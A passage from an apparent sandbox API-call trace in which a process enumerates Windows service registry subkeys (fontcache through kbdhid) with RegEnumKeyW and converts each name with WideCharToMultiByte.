lpMultiByteStr=0x21f1cd0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0224.788] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0224.788] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0224.788] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0224.788] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0224.788] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0224.788] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0224.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0224.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0224.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0224.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1ad8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0224.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0224.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0224.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0224.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0224.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0224.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0224.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0224.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0224.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0224.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0224.791] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0224.791] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0224.791] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0224.791] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0224.791] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0224.791] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0224.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0224.792] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0224.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0224.792] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0224.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0224.792] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0224.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0224.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0224.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0224.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1cd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0224.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0224.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0224.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0224.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0224.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0224.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0224.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0224.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0224.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0224.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0224.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, 